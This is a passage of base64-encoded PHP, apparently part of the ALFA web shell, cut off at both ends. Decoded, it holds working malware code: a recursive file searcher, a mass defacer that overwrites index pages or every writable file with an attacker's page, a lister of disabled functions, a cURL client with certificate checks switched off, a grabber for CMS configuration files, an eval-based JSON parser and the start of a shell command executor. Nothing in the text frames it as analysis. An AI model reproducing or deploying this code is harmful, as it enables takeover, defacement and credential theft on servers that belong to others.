24+PC9zZWxlY3Q+CkRpcjogPGlucHV0IHNpemU9IjUwIiBpZD0idGFyZ2V0IiB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlbmFtZSIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLiciPgpFeHQ6IDxzbWFsbD48Zm9udCBjb2xvcj0icmVkIj5bICogPSBhbGwgRXh0IF08L2ZvbnQ+PC9zbWFsbD4gPGlucHV0IGlkPSJleHQiIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIG5hbWU9ImV4dCIgc2l6ZT0iNSIgdmFsdWU9InBocCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvZGl2PjwvZm9ybT48L2NlbnRlcj48YnI+JzsKJGRpciA9ICRfUE9TVFsnYWxmYTInXTsKJGV4dCA9ICRfUE9TVFsnYWxmYTMnXTsKJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTQnXTsKaWYoJF9QT1NUWydhbGZhNSddPT0nPj4nKXsKZWNobyBfX3ByZSgpOwppZihzdWJzdHIoJGRpciwtMSk9PScvJykkZGlyPXN1YnN0cigkZGlyLDAsLTEpOwpBbGZhX1NlYXJjaGVyKCRkaXIsdHJpbSgkZXh0KSwkbWV0aG9kKTsKfQp9CmlmKCRfUE9TVFsnYWxmYTEnXT09J3N0cicpewplY2hvICc8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEZpbmQgRmlsZXMgQnkgTmFtZSAvIEZpbmQgU3RyaW5nIEluIEZpbGVzIHw8L2Rpdj48YnI+PGJyPjxmb3JtIG9uU3VibWl0PSJnKFwnc2VhcmNoZXJcJyxudWxsLFwnc3RyXCcsdGhpcy5kaXIudmFsdWUsdGhpcy5zdHJpbmcudmFsdWUsXCc+PlwnLHRoaXMuZXh0LnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+CjxkaXYgY2xhc3M9InR4dGZvbnQiPgpNZXRob2Q6IDxzZWxlY3QgbmFtZT0ibWV0aG9kIj48b3B0aW9uIHZhbHVlPSJuYW1lIj5GaW5kIEZpbGVzIEJ5IE5hbWU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzdHIiPkZpbmQgU3RyaW5nIEluIEZpbGVzPC9vcHRpb24+PC9zZWxlY3Q+ClN0cmluZzogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN0cmluZyIgdmFsdWU9IiI+CkRpcjogPGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXIiIHZhbHVlPSInLiRHTE9CQUxTWydjd2QnXS4nIj4KRXh0OiA8c21hbGw+PGZvbnQgY29sb3I9InJlZCI+WyAqID0gYWxsIEV4dCBdPC9mb250Pjwvc21hbGw+IDxpbnB1dCBpZD0iZXh0IiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBuYW1lPSJleHQiIHNpemU9IjUiIHZhbHVlPSJwaHAiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CiRkaXIgPSAkX1BPU1RbJ2FsZmEyJ107CiRzdHJpbmcgPSAkX1BPU1RbJ2FsZmEzJ107CiRleHQgPSAkX1BPU1RbJ2FsZmE1J107CmlmKCFlbXB0eSgkc3RyaW5nKSBBTkQgIWVtcHR5KCRkaXIpIEFORCAkX1BPU1RbJ2FsZmE0J10gPT0gJz4+Jyl7CmVjaG8gX19wcmUoKTsKQWxmYV9TdHJTZWFyY2hlcigkZGlyLCRzdHJpbmcsJGV4dCwkX1BPU1RbJ2FsZmE2J10pOwp9Cn0KZWNobyAnPC9kaXY+JzsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFNYXNzRGVmYWNlcigpewphbGZhaGVhZCgpOwpBbGZhTnVtKDUsNiw3LDgsOSwxMCk7CmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgTWFzcyBEZWZhY2VyIHw8L2Rpdj48L3A+PGZvcm0gb25TdWJtaXQ9XCJnKCdNYXNzRGVmYWNlcicsbnVsbCx0aGlzLm1hc3NkaXIudmFsdWUsdGhpcy5kZWZwYWdlLnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlLCc+PicpO3JldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPiI7CmVjaG8gJzxkaXYgY2xhc3M9InR4dGZvbnQiPkRlZmFjZSBNZXRob2Q6IDxzZWxlY3QgbmFtZT0ibWV0aG9kIj48b3B0aW9uIHZhbHVlPSJpbmRleCI+RGVmYWNlIEluZGV4IERpcnM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJhbGwiPkFsbCBGaWxlczwvb3B0aW9uPjwvc2VsZWN0PgoJTWFzcyBkaXI6IDxpbnB1dCBzaXplPSI1MCIgaWQ9InRhcmdldCIgdHlwZT0idGV4dCIgbmFtZT0ibWFzc2RpciIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgoJRGVmUGFnZTogPGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJkZWZwYWdlIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+PC9kaXY+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJ0biIgdmFsdWU9IiAiPjwvY2VudGVyPjwvcD4KPC9mb3JtPic7CiRkaXIgPSAkX1BPU1RbJ2FsZmExJ107CiRkZWZwYWdlID0gJF9QT1NUWydhbGZhMiddOwokbWV0aG9kID0gJF9QT1NUWydhbGZhMyddOwokZkN1cnJlbnQgPSAkR0xPQkFMU1snX19maWxlX3BhdGgnXTsKaWYoJF9QT1NUWydhbGZhNCddID09ICc+PicpewppZighZW1wdHkoJGRpcikpewppZihAaXNfZGlyKCRkaXIpKXsKaWYoQGlzX3JlYWRhYmxlKCRkaXIpKXsKaWYoQGlzX2ZpbGUoJGRlZnBhZ2UpKXsKaWYoJGRoID0gQG9wZW5kaXIoJGRpcikpewplY2hvIF9fcHJlKCk7CndoaWxlICgoJGZpbGUgPSBAcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpewppZigkZmlsZSA9PSAnLi4nIHx8ICRmaWxlID09ICcuJyljb250aW51ZTsKJG5ld2ZpbGU9JGRpci4kZmlsZTsKaWYoJGZDdXJyZW50ID09ICRuZXdmaWxlKWNvbnRpbnVlOwppZihAaXNfZGlyKCRuZXdmaWxlKSl7CkFsZmFfUmVhZERpcigkbmV3ZmlsZSwkbWV0aG9kLCRkZWZwYWdlKTsKfWVsc2V7CmlmKCFAaXNfd3JpdGFibGUoJG5ld2ZpbGUpKWNvbnRpbnVlOwppZighQGlzX3JlYWRhYmxlKCRuZXdmaWxlKSljb250aW51ZTsKQWxmYV9SZXdyaXRlcigkbmV3ZmlsZSwkZmlsZSwkZGVmcGFnZSwkbWV0aG9kKTsKfQp9CmNsb3NlZGlyKCRkaCk7Cn1lbHNle19fYWxlcnQoJzxmb250IGNvbG9yPSJyZWQiPkVycm9yIEluIE9wZW5EaXIuLi48L2ZvbnQ+Jyk7fQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5EZWZQYWdlIEZpbGUgTm90Rm91bmQuLi48L2ZvbnQ+Jyk7fQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5EaXJlY3RvcnkgaXMgbm90IFJlYWRhYmxlLi4uPC9mb250PicpO30KfWVsc2V7X19hbGVydCgnPGZvbnQgY29sb3I9InJlZCI+TWFzcyBEaXIgaXMgSW52YWxpZCBEaXIuLi48L2ZvbnQ+Jyk7fQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5EaXIgaXMgRW1wdHkuLi48L2ZvbnQ+Jyk7fQp9CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBBbGZhX1JlYWREaXIoJGRpciwkbWV0aG9kPScnLCRkZWZwYWdlPScnKXsKaWYoIUBpc19yZWFkYWJsZSgkZGlyKSkgcmV0dXJuIGZhbHNlOwppZiAoQGlzX2RpcigkZGlyKSkgewppZiAoJGRoID0gQG9wZW5kaXIoJGRpcikpIHsKd2hpbGUoKCRmaWxlPXJlYWRkaXIoJGRoKSkhPT1mYWxzZSkgewppZigkZmlsZSA9PSAnLi4nIHx8ICRmaWxlID09ICcuJyljb250aW51ZTsKJG5ld2ZpbGU9JGRpci4nLycuJGZpbGU7CmlmKEBpc19yZWFkYWJsZSgkbmV3ZmlsZSkmJkBpc19kaXIoJG5ld2ZpbGUpKUFsZmFfUmVhZERpcigkbmV3ZmlsZSwkbWV0aG9kLCRkZWZwYWdlKTsKaWYoQGlzX2ZpbGUoJG5ld2ZpbGUpKXsKaWYoIUBpc19yZWFkYWJsZSgkbmV3ZmlsZSkpY29udGludWU7CkFsZmFfUmV3cml0ZXIoJG5ld2ZpbGUsJGZpbGUsJGRlZnBhZ2UsJG1ldGhvZCk7Cn0KfQpjbG9zZWRpcigkZGgpOwp9Cn0KfQpmdW5jdGlvbiBBbGZhX1Jld3JpdGVyKCRkaXIsJGZpbGUsJGRlZnBhZ2UsJG09J2luZGV4Jyl7CmlmKCFAaXNfd3JpdGFibGUoJGRpcikpIHJldHVybiBmYWxzZTsKaWYoIUBpc19yZWFkYWJsZSgkZGlyKSkgcmV0dXJuIGZhbHNlOwokZGVmcGFnZT1AZmlsZV9nZXRfY29udGVudHMoJGRlZnBhZ2UpOwppZigkbSA9PSAnaW5kZXgnKXsKJGluZGV4cyA9IGFycmF5KCdpbmRleC5waHAnLCdpbmRleC5odG0nLCdpbmRleC5odG1sJywnZGVmYXVsdC5hc3AnLCdkZWZhdWx0LmFzcHgnLCdpbmRleC5hc3AnLCdpbmRleC5hc3B4JywnaW5kZXguanMnKTsKaWYoaW5fYXJyYXkoc3RydG9sb3dlcigkZmlsZSksJGluZGV4cykpewpAZmlsZV9wdXRfY29udGVudHMoJGRpciwkZGVmcGFnZSk7CmVjaG8gQGlzX2ZpbGUoJGRpcik/JGRpci4iPGI+PGZvbnQgY29sb3I9J3JlZCc+RGVGYWNlZC4uLjwvYj48L2ZvbnQ+PGJyPiIgOiAnJzsKfQp9ZWxzZWlmKCRtPT0nYWxsJyl7CkBmaWxlX3B1dF9jb250ZW50cygkZGlyLCRkZWZwYWdlKTsKZWNobyBAaXNfZmlsZSgkZGlyKT8kZGlyLiIgIDxiPjxmb250IGNvbG9yPSdyZWQnPkRlRmFjZWQuLi48L2I+PC9mb250Pjxicj4iIDogJyc7Cn0KfQpmdW5jdGlvbiBhbGZhR2V0RGlzRnVuYygpewphbGZhaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPSJoZWFkZXIiPic7CiRkaXNmdW4gPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKJHMgPSBleHBsb2RlKCcsJywkZGlzZnVuKTsKJGYgPSBhcnJheV91bmlxdWUoJHMpOwplY2hvICc8Y2VudGVyPjxicj48Yj48Zm9udCBjb2xvcj0iIzdDRkMwMCI+RGlzYWJsZSBGdW5jdGlvbnM8L2ZvbnQ+PC9iPjxwcmU+PHRhYmxlIGJvcmRlcj0iMSI+PHRyPjx0ZCBhbGlnbj0iY2VudGVyIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogZ3JlZW47Y29sb3I6IHdoaXRlO3dpZHRoOjUlIj4jPC90ZD48dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGdyZWVuO2NvbG9yOiB3aGl0ZTsiPkZ1bmMgTmFtZTwvdGQ+PC90cj4nOwokaT0xOwpmb3JlYWNoKCRmIGFzICRzKXsKJHM9dHJpbSgkcyk7CmlmKGZ1bmN0aW9uX2V4aXN0cygkcyl8fCFpc19jYWxsYWJsZSgkcykpY29udGludWU7CmVjaG8gJzx0cj48dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGJsYWNrOyI+Jy4kaS4nPC90ZD4nOwplY2hvICc8dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGJsYWNrOyI+PGEgc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZTsiIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vcGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24uJy5zdHJfcmVwbGFjZSgnXycsJy0nLCRzKS4nLnBocCI+PHNwYW4gY2xhc3M9ImRpc2FibGVfZnVuY3Rpb25zIj48Yj4nLiRzLic8L2I+PC9zcGFuPjwvYT48L3RkPic7CiRpKys7Cn0KZWNobyAnPC90YWJsZT48L2NlbnRlcj4nOwplY2hvICc8L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gQWxmYV9DcmVhdGVfQV9UYWcoJGFjdGlvbiwkdmFscyl7CiRudWxscyA9IGFycmF5KCk7CmZvcmVhY2goJHZhbHMgYXMgJGtleSA9PiAkdmFsKXsKZWNobyAnPGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJycuJGFjdGlvbi4nXCcsJzsKZm9yKCRpPTE7JGk8PSR2YWxbMV0tMTskaSsrKSRudWxsc1tdID0gJ251bGwnOwokZiA9IGltcGxvZGUoJywnLCRudWxscyk7CmVjaG8gJGYuJyxcJycuJHZhbFswXS4nXCcpO3JldHVybiBmYWxzZTsiPnwgJy4ka2V5LicgfCA8L2E+JzsKdW5zZXQoJG51bGxzKTsKfQp9CmZ1bmN0aW9uIEFsZmFfU2VhcmNoZXIoJGRpciwgJGV4dCwgJG1ldGhvZCkgewppZihAaXNfcmVhZGFibGUoJGRpcikpewppZigkbWV0aG9kID09ICdhbGwnKSRleHQgPSAnKic7CmlmKCRtZXRob2QgPT0gJ2RpcnMnKSRleHQgPSAnKic7CiRnbG9iRmlsZXMgPSBAZ2xvYigiJGRpci8qLiRleHQiKTsKJGdsb2JEaXJzICA9IEBnbG9iKCIkZGlyLyoiLCBHTE9CX09OTFlESVIpOwokYmxhY2tsaXN0ID0gYXJyYXkoKTsKZm9yZWFjaCAoJGdsb2JEaXJzIGFzICRkaXIpIHsKaWYoIUBpc19yZWFkYWJsZSgkZGlyKXx8QGlzX2xpbmsoJGRpcikpIGNvbnRpbnVlOwpAQWxmYV9TZWFyY2hlcigkZGlyLCAkZXh0LCAkbWV0aG9kKTsKfQpzd2l0Y2goJG1ldGhvZCl7CmNhc2UgImZpbGVzIjoKZm9yZWFjaCAoJGdsb2JGaWxlcyBhcyAkZmlsZSl7CmlmKEBpc193cml0YWJsZSgkZmlsZSkpewplY2hvICIkZmlsZTxicj4iOwp9Cn0KYnJlYWs7CmNhc2UgImRpcnMiOgpmb3JlYWNoICgkZ2xvYkZpbGVzIGFzICRmaWxlKXsKaWYoQGlzX3dyaXRhYmxlKGRpcm5hbWUoJGZpbGUpKSAmJiAhaW5fYXJyYXkoZGlybmFtZSgkZmlsZSksICRibGFja2xpc3QpKXsKZWNobyBkaXJuYW1lKCRmaWxlKS4nPGJyPic7CiRibGFja2xpc3RbXSA9IGRpcm5hbWUoJGZpbGUpOwp9Cn0KYnJlYWs7CmNhc2UgImFsbCI6CmZvcmVhY2ggKCRnbG9iRmlsZXMgYXMgJGZpbGUpewplY2hvICRmaWxlLic8YnI+JzsKfQpicmVhazsKfQp1bnNldCgkYmxhY2tsaXN0KTsKfQp9CmZ1bmN0aW9uIEFsZmFpRnJhbWVDcmVhdG9yKCRmLCR3aWR0aD0nMTAwJScsJGhlaWdodD0nNjAwcHgnKXsKcmV0dXJuKCc8aWZyYW1lIHNyYz0iJy5fX0FMRkFfREFUQV9GT0xERVJfXy4iLyIuJGYuJyIgd2lkdGg9IicuJHdpZHRoLiciIGhlaWdodD0iJy4kaGVpZ2h0LiciIGZyYW1lYm9yZGVyPSIwIj48L2lmcmFtZT4nKTsKfQpjbGFzcyBBbGZhQ1VSTCB7CnB1YmxpYyAkaGVhZGVyczsKcHVibGljICR1c2VyX2FnZW50OwpwdWJsaWMgJGNvbXByZXNzaW9uOwpwdWJsaWMgJGNvb2tpZV9maWxlOwpwdWJsaWMgJHByb3h5OwpwdWJsaWMgJHBhdGg7CnB1YmxpYyAkc3NsID0gdHJ1ZTsKcHVibGljICRjdXJsX3N0YXR1cyA9IHRydWU7CmZ1bmN0aW9uIF9fY29uc3RydWN0KCRjb29raWVzPWZhbHNlLCRjb21wcmVzc2lvbj0nZ3ppcCcsJHByb3h5PScnKXsKaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ2N1cmwnKSl7JGN1cmxfc3RhdHVzID0gZmFsc2U7cmV0dXJuIGZhbHNlO30KJHRoaXMtPmhlYWRlcnNbXSA9ICdBY2NlcHQ6IGltYWdlL2dpZiwgaW1hZ2UveC1iaXRtYXAsIGltYWdlL2pwZWcsIGltYWdlL3BqcGVnJzsKJHRoaXMtPmhlYWRlcnNbXSA9ICdDb25uZWN0aW9uOiBLZWVwLUFsaXZlJzsKJHRoaXMtPmhlYWRlcnNbXSA9ICdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZDtjaGFyc2V0PVVURi04JzsKJHRoaXMtPnVzZXJfYWdlbnQgPSAnTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfMTRfNikgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzgzLjAuNDEwMy42MSBTYWZhcmkvNTM3LjM2KSc7CiR0aGlzLT5wYXRoID0gQUxGQV9URU1QRElSLicvQWxmYV9jb29raWVzLnR4dCc7CiR0aGlzLT5jb21wcmVzc2lvbj0kY29tcHJlc3Npb247CiR0aGlzLT5wcm94eT0kcHJveHk7CiR0aGlzLT5jb29raWVzPSRjb29raWVzOwppZigkdGhpcy0+Y29va2llcykkdGhpcy0+Y29va2llKCR0aGlzLT5wYXRoKTsKfQpmdW5jdGlvbiBjb29raWUoJGNvb2tpZV9maWxlKSB7CmlmIChfYWxmYV9maWxlX2V4aXN0cygkY29va2llX2ZpbGUsZmFsc2UpKSB7CiR0aGlzLT5jb29raWVfZmlsZT0kY29va2llX2ZpbGU7Cn1lbHNlewpAZm9wZW4oJGNvb2tpZV9maWxlLCd3Jykgb3IgZGllKCR0aGlzLT5lcnJvcignVGhlIGNvb2tpZSBmaWxlIGNvdWxkIG5vdCBiZSBvcGVuZWQuJykpOwokdGhpcy0+Y29va2llX2ZpbGU9JGNvb2tpZV9maWxlOwpAZmNsb3NlKCR0aGlzLT5jb29raWVfZmlsZSk7Cn0KfQpmdW5jdGlvbiBTZW5kKCR1cmwsJG1ldGhvZD0iZ2V0IiwkZGF0YT0iIil7CmlmKCEkdGhpcy0+Y3VybF9zdGF0dXMpe3JldHVybiBmYWxzZTt9CiRwcm9jZXNzID0gY3VybF9pbml0KCR1cmwpOwpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9IVFRQSEVBREVSLCAkdGhpcy0+aGVhZGVycyk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0hFQURFUiwgMCk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHRoaXMtPnVzZXJfYWdlbnQpOwpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0VOQ09ESU5HICwgJHRoaXMtPmNvbXByZXNzaW9uKTsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfVElNRU9VVCwgMzApOwppZigkdGhpcy0+c3NsKXsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIgLGZhbHNlKTsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsZmFsc2UpOwp9CmlmKCR0aGlzLT5jb29raWVzKXsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfQ09PS0lFRklMRSwgJHRoaXMtPnBhdGgpOwpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9DT09LSUVKQVIsICR0aGlzLT5wYXRoKTsKfQppZigkdGhpcy0+cHJveHkpewpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9QUk9YWSwgJHRoaXMtPnByb3h5KTsKfQppZigkbWV0aG9kPT0ncG9zdCcpewpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9QT1NURklFTERTLCAkZGF0YSk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1BPU1QsIDEpOwpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9IVFRQSEVBREVSLCBhcnJheSgnQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKSk7Cn0KJHJldHVybiA9IEBjdXJsX2V4ZWMoJHByb2Nlc3MpOwpjdXJsX2Nsb3NlKCRwcm9jZXNzKTsKcmV0dXJuICRyZXR1cm47Cn0KZnVuY3Rpb24gZXJyb3IoJGVycm9yKSB7CmVjaG8gIjxjZW50ZXI+PGRpdiBzdHlsZT0nd2lkdGg6NTAwcHg7Ym9yZGVyOiAzcHggc29saWQgI0ZGRUVGRjsgcGFkZGluZzogM3B4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZEREZGO2ZvbnQtZmFtaWx5OiB2ZXJkYW5hOyBmb250LXNpemU6IDEwcHgnPjxiPmNVUkwgRXJyb3I8L2I+PGJyPiRlcnJvcjwvZGl2PjwvY2VudGVyPiI7CmRpZTsKfQp9CmZ1bmN0aW9uIGdldENvbmZpZ0h0bWwoJGNtcyl7CiRjb250ZW50ID0gJyc7CiRjbXNfYXJyYXkgPSBhcnJheSgid3AiID0+ICJXb3JkUHJlc3MiLCAidmIiID0+ICJ2QnVsbGV0aW4iLCAid2htY3MiID0+ICJXaG1jcyIsICJqb29tbGEiID0+ICJKb29tbGEiLCAicGhwbnVrZSIgPT4gIlBIUE51a2UiLCJwaHBiYiI9PiJQSFBCQiIsIm15YmIiPT4iTXlCQiIsImRydXBhbCI9PiJEcnVwYWwiLCJzbWYiPT4iU01GIik7CiRjb250ZW50IC49ICI8Zm9ybSBjbGFzcz0nZ2V0Y29uZmlnJyBvblN1Ym1pdD0nZyhcIkdldENvbmZpZ1wiLG51bGwsdGhpcy5jbXMudmFsdWUsdGhpcy5wYXRoLnZhbHVlLHRoaXMuZ2V0QXR0cmlidXRlKFwiYmFzZV9pZFwiKSk7cmV0dXJuIGZhbHNlOyc+PGRpdiBjbGFzcz0ndHh0Zm9udCc+Q21zOiA8L2Rpdj4gPHNlbGVjdCBuYW1lPSdjbXMnc3R5bGU9J3dpZHRoOjEwMHB4Oyc+IjsKZm9yZWFjaCgkY21zX2FycmF5IGFzICRrZXkgPT4gJHZhbCl7CiRjb250ZW50IC49ICI8b3B0aW9uIHZhbHVlPSd7JGtleX0nICIuKCRrZXk9PSRjbXM/J3NlbGVjdGVkPXNlbGVjdGVkJzonJykuIj57JHZhbH08L29wdGlvbj4iOwp9CiRjb250ZW50IC49ICI8L3NlbGVjdD4gPGRpdiBjbGFzcz0ndHh0Zm9udCc+UGF0aChpbnN0YWxsZWQgY21zL0NvbmZpZyk6IDwvZGl2PiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGF0aCcgdmFsdWU9JyIuJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4iLycgc2l6ZT0nMzAnIC8+IDxidXR0b24gY2xhc3M9J2J1dHRvbic+R2V0Q29uZmlnPC9idXR0b24+IjsKJGNvbnRlbnQgLj0gIjwvZm9ybT4iOwpyZXR1cm4gJGNvbnRlbnQ7Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2pzb25fZW5jb2RlJykpewogICAgZnVuY3Rpb24ganNvbl9lbmNvZGUoJGE9ZmFsc2UpewogICAgICAgIGlmIChpc19udWxsKCRhKSkgcmV0dXJuICdudWxsJzsKICAgICAgICBpZiAoJGEgPT09IGZhbHNlKSByZXR1cm4gJ2ZhbHNlJzsKICAgICAgICBpZiAoJGEgPT09IHRydWUpIHJldHVybiAndHJ1ZSc7CiAgICAgICAgaWYgKGlzX3NjYWxhcigkYSkpCiAgICAgICAgewogICAgICAgICAgICBpZiAoaXNfZmxvYXQoJGEpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmxvYXR2YWwoc3RyX3JlcGxhY2UoIiwiLCAiLiIsIHN0cnZhbCgkYSkpKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKGlzX3N0cmluZygkYSkpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHN0YXRpYyAkanNvblJlcGxhY2VzID0gYXJyYXkoYXJyYXkoIlxcIiwgIi8iLCAiXG4iLCAiXHQiLCAiXHIiLCAiXGIiLCAiXGYiLCAnIicpLCBhcnJheSgnXFxcXCcsICdcXC8nLCAnXFxuJywgJ1xcdCcsICdcXHInLCAnXFxiJywgJ1xcZicsICdcIicpKTsKICAgICAgICAgICAgICAgIHJldHVybiAnIicgLiBzdHJfcmVwbGFjZSgkanNvblJlcGxhY2VzWzBdLCAkanNvblJlcGxhY2VzWzFdLCAkYSkgLiAnIic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZQogICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgfQogICAgICAgICRpc0xpc3QgPSB0cnVlOwogICAgICAgIGZvciAoJGkgPSAwLCByZXNldCgkYSk7ICRpIDwgY291bnQoJGEpOyAkaSsrLCBuZXh0KCRhKSkKICAgICAgICB7CiAgICAgICAgICAgIGlmIChrZXkoJGEpICE9PSAkaSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJGlzTGlzdCA9IGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJHJlc3VsdCA9IGFycmF5KCk7CiAgICAgICAgaWYgKCRpc0xpc3QpCiAgICAgICAgewogICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkdikgJHJlc3VsdFtdID0ganNvbl9lbmNvZGUoJHYpOwogICAgICAgICAgICByZXR1cm4gJ1snIC4gam9pbignLCcsICRyZXN1bHQpIC4gJ10nOwogICAgICAgIH0KICAgICAgICBlbHNlCiAgICAgICAgewogICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkayA9PiAkdikgJHJlc3VsdFtdID0ganNvbl9lbmNvZGUoJGspLic6Jy5qc29uX2VuY29kZSgkdik7CiAgICAgICAgICAgIHJldHVybiAneycgLiBqb2luKCcsJywgJHJlc3VsdCkgLiAnfSc7CiAgICAgICAgfQogICAgfQp9CmlmICggIWZ1bmN0aW9uX2V4aXN0cygnanNvbl9kZWNvZGUnKSApewpmdW5jdGlvbiBqc29uX2RlY29kZSgkanNvbiwgJGFycmF5PXRydWUpewogICAgJGNvbW1lbnQgPSBmYWxzZTsKICAgICRvdXQgPSAnJHg9JzsKICAgIGZvciAoJGk9MDsgJGk8c3RybGVuKCRqc29uKTsgJGkrKykKICAgIHsKICAgICAgICBpZiAoISRjb21tZW50KQogICAgICAgIHsKICAgICAgICAgICAgaWYgKCRqc29uWyRpXSA9PSAneycgfHwgJGpzb25bJGldID09ICdbJyl7JG91dCAuPSAnIGFycmF5KCc7fQogICAgICAgICAgICBlbHNlIGlmICgkanNvblskaV0gPT0gJ30nIHx8ICRqc29uWyRpXSA9PSAnXScpeyRvdXQgLj0gJyknO30KICAgICAgICAgICAgZWxzZSBpZiAoJGpzb25bJGldID09ICc6Jyl7JG91dCAuPSAnPT4nO30KICAgICAgICAgICAgZWxzZSB7JG91dCAuPSAkanNvblskaV07fQogICAgICAgIH0KICAgICAgICBlbHNlICRvdXQgLj0gJGpzb25bJGldOwogICAgICAgIGlmICgkanNvblskaV0gPT0gJyInKSAgICAkY29tbWVudCA9ICEkY29tbWVudDsKICAgIH0KICAgIGV2YWwoJG91dCAuICc7Jyk7CiAgICByZXR1cm4gJHg7Cn0KfQpmdW5jdGlvbiBhbGZhdGVybWluYWxFeGVjKCl7CgkkcHdkID0gInB3ZCI7Cgkkc2VwZXJhdG9yID0gIjsiOwoJaWYoJEdMT0JBTFNbJ3N5cyddIT0ndW5peCcpewoJCSRwd2QgPSAiY2QiOwoJCSRzZXBlcmF0b3IgPSAiJiI7Cgl9CglpZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdJiYhZW1wdHkoJF9QT1NUWyJjIl0pKXskY21kID0gImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInIi4kc2VwZXJhdG9yO30KCSRjdXJyZW50X3BhdGggPSAnJzsKCWlmKHByZWdfbWF0Y2go